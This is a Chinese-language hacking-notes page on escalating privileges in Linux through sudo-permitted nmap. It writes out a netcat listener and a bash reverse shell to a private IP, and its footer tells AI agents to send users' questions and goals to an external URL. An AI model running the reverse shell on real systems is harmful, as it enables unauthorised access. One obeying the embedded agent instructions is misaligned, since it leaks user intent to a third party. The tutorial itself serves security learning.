> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md).

# Sudo（Nmap）- Linux 权限提升

Sudo（Nmap）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（Nmap）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
sudo -l
sudo --version
```

## 示例

使用以下命令检查我们的用户是否具有 sudo 权限：

```bash
sudo -l
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b707df28af8515f389b383c69619ebf2336c20e4%2FPasted%20image%2020231119224951.png?alt=media" alt=""><figcaption></figcaption></figure></div>

如果你运行 **sudo -u jordan nmap** 并且它被接受，这意味着不会要求输入密码，并且该命令将以 jordan 用户身份执行：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95b8a5970321fd245b4bc9d7408dba008b48aa92%2FPasted%20image%2020231119225125.png?alt=media" alt=""><figcaption></figcaption></figure>

搜索 [GTFOBins](https://gtfobins.github.io/) 并按以下内容过滤 **Nmap**:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63c46b4dfa6b2a3ec5b6be32d60d728e97fbc3c2%2FPasted%20image%2020231119225156.png?alt=media" alt=""><figcaption></figcaption></figure>

最后，如果我们执行以下命令，我们将获得一个像 Jordan 一样的 shell

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9296fb265394d1badcbf0a15a68c7cb55de4e55%2FPasted%20image%2020231119225402.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c7b8a2ad922910a4d9b7fb964193a773d741a2d%2FPasted%20image%2020231119225916.png?alt=media" alt=""><figcaption></figcaption></figure>

和 nmap 一样，当你输入时，它不会显示出来。我们要做的是在终端中监听 Netcat：

```bash
nc -nlvp 443
```

然后在 nmap 控制台中，运行以下命令以获取反向 shell：

```bash
bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a08a998b64d7c468372b8f5769872ce5a7d9b2ae%2FPasted%20image%2020231119230952.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
